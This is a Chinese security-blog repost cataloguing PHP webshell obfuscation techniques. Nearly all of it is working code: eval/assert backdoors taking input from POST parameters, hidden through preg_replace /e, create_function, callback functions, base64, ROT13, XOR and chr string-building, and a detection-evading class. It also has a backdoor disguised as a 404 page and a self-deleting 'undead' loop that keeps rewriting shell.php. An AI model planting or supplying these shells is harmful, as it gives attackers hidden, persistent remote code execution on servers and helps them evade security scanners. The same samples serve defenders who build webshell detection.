Shell变形

admin 2022年5月17日04:25:20评论64 views字数 4870阅读16分14秒阅读模式

一、Shell变形


Shell变形
Shell变形

简单拼接

$_GET["k"]($_GET["v"]);
<?php@$_POST["k"]($_POST["v"]);?>

Shell变形

preg_replace函数

preg_replace的/e模式能够执行恶意代码(放在第二个参数上,如<?phppreg_replace("/p/e", '@eval("echo 1;")', "VVVVVVVVVXXXXXXXpCCCCCCCCCCSDASDASDSDAS");?>)。
<?php($code=$_POST["pwd"])&&preg_replace("/pen/e", '@'.str_rot13('nffreg').'($code)', "pentest");?>

Shell变形

<?php preg_replace("/p/e",’$_POST[“pwd”]’, "pentest");//一句话?>

自定义函数create_function() PHP<7.2

<?php $fun=create_function('',$_POST['pwd']);$fun();?>

create_function(参数列表, string类型code)

Shell变形

回调函数 call_user_func()

<?php@call_user_func(assert,$_POST['pwd']);?>

call_user_func(函数名,string的code)

Shell变形

file_put_contents函数

<?php$test='<?php $a=$_POST["pwd"];assert($a); ?>';file_put_contents("shell1.php", $test);?>
file_put_contents("shell.php",$_GET[‘k’]);file_put_contents($_GET[“file”],$_GET[“shell”]);//前面的参数是文件名,后者参数表示写的木马内容,注意单双引号
Shell变形

JS型的WEBSHELL

<script language=php>@eval($_POST['web']);</script>

蚁剑生成免杀shell

<?php class NYVK {     function grMQ() {        $HpPt = "xaa" ^ "xcb";  //a        $mxfI = "xb7" ^ "xc4";  //s        $JYpz = "x25" ^ "x56";  //s        $Jvzc = "x47" ^ "x22";  //e        $Axmj = "xd7" ^ "xa5";  //r        $FLVS = "x19" ^ "x6d";  //t        $BsuP =$HpPt.$mxfI.$JYpz.$Jvzc.$Axmj.$FLVS;  //assert        return $BsuP;    }    function __destruct(){  //析构函数        $sBoQ=$this->grMQ();        @$sBoQ($this->vF);    }}$nyvk = new NYVK();  //对象实例化@$nyvk->vF = isset($_GET['id'])?base64_decode($_POST['123com']):$_POST['123com'];//判断id是否设置,并且非NULL,不为空则base64解码,为空直接接收?>


二、其他变形方式


Shell变形
Shell变形

PHP变量函数

<?php $a = "assert";$a(@$_POST['pwd']); ?>
Shell变形

PHP可变变量

<?php$bb="assert";$a="bb"; //bb是一个字符串$$a($_POST['pwd']);//$$a=’assert’?>
Shell变形

str_replace函数

<?php$a=str_replace("Waldo", "", "aWaldossert");$a(@$_POST['pwd']);?>
Shell变形

base64_decode函数

<?php$a=base64_decode("YXNzZXJ0");//base64_decode解码为assert(eval为ZXZhbA==,但不能用)$a($_POST['pwd']);?>
Shell变形

str_rot13函数

<?php$a=str_rot13("nffreg");//ROT13解码为assert$a($_POST['pwd']);?>
Shell变形"."操作符
<?php$a="a"."s"."s";$b="e"."r"."t";$c=$a.$b;//assert$c($_POST['pwd']);?>
Shell变形

数组变形

$__C_C="WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";$__P_P="abcdefghijklmnopqrstuvwxyz";$__X_X="123456789";$__O_O=$__X_X[5].$__X_X[3]."_";//64_$__B_B=$__P_P{1}.$__P_P[0].$__P_P[18].$__P_P[4];//base$__H_H=$__B_B.$__O_O.$__P_P[3].$__P_P[4].$__P_P[2].$__P_P[14].$__P_P[3].$__P_P[4];//base64_decode$__E_E=$__P_P[4].$__P_P[21].$__P_P[0].$__P_P[11];//enco$__F_F=$__P_P[2].$__P_P[17].$__P_P[4].$__P_P[0].$__P_P[19].$__P_P[4];$__F_F.='_'.$__P_P[5].$__P_P[20].$__P_P[13].$__P_P[2].$__P_P[19].$__P_P[8].$__P_P[14].$__P_P[13];$_[00]=$__F_F('$__S_S',$__E_E.'("$__S_S");');@$_[00]($__H_H($__H_H($__C_C)));//解码后即==> eval($_POST[x]);

花括号(PHP特性)

<?php$tk = array("a"=>"assert");$a = "${$tk["a"]($_POST[pwd])}";//$a=”${assert($_POST[pwd])}”?>

Shell变形

curly syntax 漏洞利用

关于{${code}}这种形式涉及到了php complex(curly)syntax

<?php$a=$_POST["pwd"];@eval("@$sql_A=$a;");?>

以POST方式提交pwd=${phpinfo()}来使用

Shell变形

类的方法

将操作封装成正常的类,再进行调用,和正常的带啊吗基本无二,检测和查杀难度进一步提升。

<?phpclass log{function write($er){@assert($er);//在定义的类中肯定有某些危险的函数用来执行或者解析码}}$win=new log();$win->write($_POST['pwd']);
Shell变形

parse_str函数

将查询字符串解析到变量中

<?php$str=”a=’a’.’s’.’s’.’e’.’r’.’t’”;//$str=”a=assert”;parse_str($str); //生成变量$a值为assert$a($_POST[‘pwd’]);?>

array_filter函数

用回调函数过滤数组中的元素,注意php的版本问题,5.2版本测试不通!

<?php$e = $_REQUEST[‘e’];  //接受用户发来的恶意函数 assert$arr = array($_POST[‘pwd’],);array_filter($arr, $e);  //array_filter(array($_POST['pwd'],),assert’)?>

array_map函数

将函数作用到数组中的每个值上,做相应的处理,并返回带有新值的数组:

$e = $_REQUEST['e'];$arr = array($_POST['pwd'],);array_map($e, $arr);
Shell变形

uasort函数

使用用户自定义的比较函数对数组 $arr 中的元素按键值进行排序:PHP>5.4

<?php$e = $_REQUEST['e'];$arr = array('test', $_REQUEST['pwd']);uasort($arr, $e);?>
Shell变形

加密类变形

<?phpif(isset($_POST['com'])&&md5($_POST['com'])== '202cb962ac59075b964b07152d234b70'&& isset($_POST['pwd'])) $content = strtr($_POST['pwd'], '-_,', '+/=');assert(base64_decode($content));?>

使用方式 :

①访问URL   ②POST的数据://conent=eval($_POST['page']);com=123(MD5加密“202cb962ac59075b964b07152d234b70”)③com=123&pwd=ZXZhbCgkX1BPU1RbJ3BhZ2UnXSk7&page=phpinfo();
Shell变形

变量拼接类变形

<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['pwd'];if(isset($s22)){eval($s21($s22));}?>

Shell变形

pwd=phpinfo();  base64转码

加密拼接类变形

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
Shell变形

404木马

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html><?php@preg_replace("/[pageerror]/e",$_POST['pwd'],"saft");header('HTTP/1.1 404 Not Found');?>
Shell变形

不死马

<?phpset_time_limit(0);  ignore_user_abort(1); unlink(__FILE__);     //删除自身while(1){        file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>');  //创建shell.php,这里最好用免杀的一句话    sleep(10);    //间隔时间}?>


Shell变形
END

• 往期精选

Shell变形
Shell变形

windows提权总结

一次SSH爆破攻击haiduc工具的应急响应

记一次艰难的SQL注入(过安全狗)

记一次溯源

Shell变形

下方点击关注发现更多精彩

原文始发于微信公众号(银河护卫队super):Shell变形

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日04:25:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shell变形http://cn-sec.com/archives/1012683.html

发表评论

匿名网友 填写信息